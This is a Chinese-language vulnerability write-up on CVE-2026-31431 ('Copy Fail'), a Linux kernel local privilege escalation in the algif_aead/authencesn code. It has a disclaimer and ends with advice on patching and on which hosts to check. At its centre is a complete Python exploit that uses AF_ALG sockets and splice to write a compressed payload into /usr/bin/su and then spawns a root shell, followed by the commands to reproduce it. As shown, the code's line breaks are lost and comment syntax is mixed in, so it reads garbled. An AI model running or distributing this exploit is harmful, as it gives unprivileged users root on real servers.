一文看懂CVE-2026-31431:Linux 内核提权漏洞 Copy Fail

前言

大家好，本文要分析的是 Linux 内核本地提权漏洞 CVE-2026-31431。该漏洞又被称为 Copy Fail，主要影响 Linux 内核 crypto 子系统中与 algif_aead / authencesn 相关的处理逻辑。

从漏洞性质来看，它不是远程代码执行漏洞，攻击者通常需要先获得目标主机上的低权限执行能力，才可能进一步利用该漏洞提升至 root 权限。但在多用户服务器、CI/CD Runner、容器宿主机以及允许第三方代码运行的环境中，本地提权漏洞往往是攻击链中的关键一环。

本文仅用于授权环境下的漏洞学习、复现与防护分析，请勿用于未授权测试。

原文地址：https://xint.io/blog/copy-fail-linux-distributions

影响范围

公开资料显示，该漏洞影响多个 Linux LTS 和 Stable 内核分支，覆盖 Ubuntu、Debian、RHEL、SUSE、Amazon Linux、Arch Linux 等主流发行版。

需要注意的是，不同发行版会对内核补丁进行回移，因此不能只依赖 uname -r 的版本号判断是否安全。更稳妥的方式是结合发行版官方安全公告、当前内核包版本以及系统补丁状态进行确认。

测试环境

python3.10.+

Ubuntu22.04

POC

#!/usr/bin/env python3//导入库import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c)://创建 AF_ALG 套接字并绑定算法（AF_ALG是 Linux 内核提供的用户态密码学 API 接口。）//设置套接字选项//接受连接// 准备 sendmsg 的控制消息// 使用 pipe 和 splice 进行零拷贝数据移动//尝试接收数据，但无论成功与否都忽略异常a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 //主逻辑：解压payload，并逐 4 字节注入f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

漏洞复现

首先，我们要先检查我们的内核版本、内核模块和python版本（因为漏洞利用的核心是algif_aead内核模块，需要确保它可用。）

//查看内核版本，看该漏洞是否被修复uname -r//查看内核模块lsmod | grep algif_aead//要是没有输出，则需要手动开启一下sudo modprobe algif_aead//查看python版本python3 --version

//进入普通用户目录cd /目录///用nano写入（按理来说应该传进去的，这里不纠结哈）nano copy_fail.py

python3 copy_fail.py

防护重点

建议重点排查以下几类主机：

• 允许普通用户登录的 Linux 服务器

• CI/CD Runner、构建机和自动化测试环境

• 容器宿主机和 Kubernetes 节点

• 运行第三方脚本、插件或不可信任务的服务器

• 已经存在 WebShell、弱口令或低权限落点风险的主机

本地提权漏洞通常不是攻击的第一步，但可能是攻击链中最关键的一步。攻击者一旦从低权限提升到 root，就可能进一步读取敏感数据、安装持久化后门、横向移动，甚至接管整台服务器。

结语

到这里，关于 CVE-2026-31431 Copy Fail 漏洞的分析就告一段落了。这个漏洞提醒我们：本地提权并不等于低风险，尤其是在云主机、容器化和自动化构建环境中，低权限代码执行本身就可能成为更高权限失陷的跳板。

对于安全人员来说，复现漏洞不是目的，真正重要的是把风险转化为可执行的修复动作：确认受影响资产、核对发行版公告、升级修复内核、重启验证生效，并在无法立即升级时尽量收缩攻击面。

最后建议大家在日常运维中建立内核漏洞响应机制。应用层漏洞容易被关注，但内核漏洞一旦被利用，影响往往更深。及时更新、最小权限和减少不必要的本地执行入口，仍然是应对此类漏洞最有效的基础手段。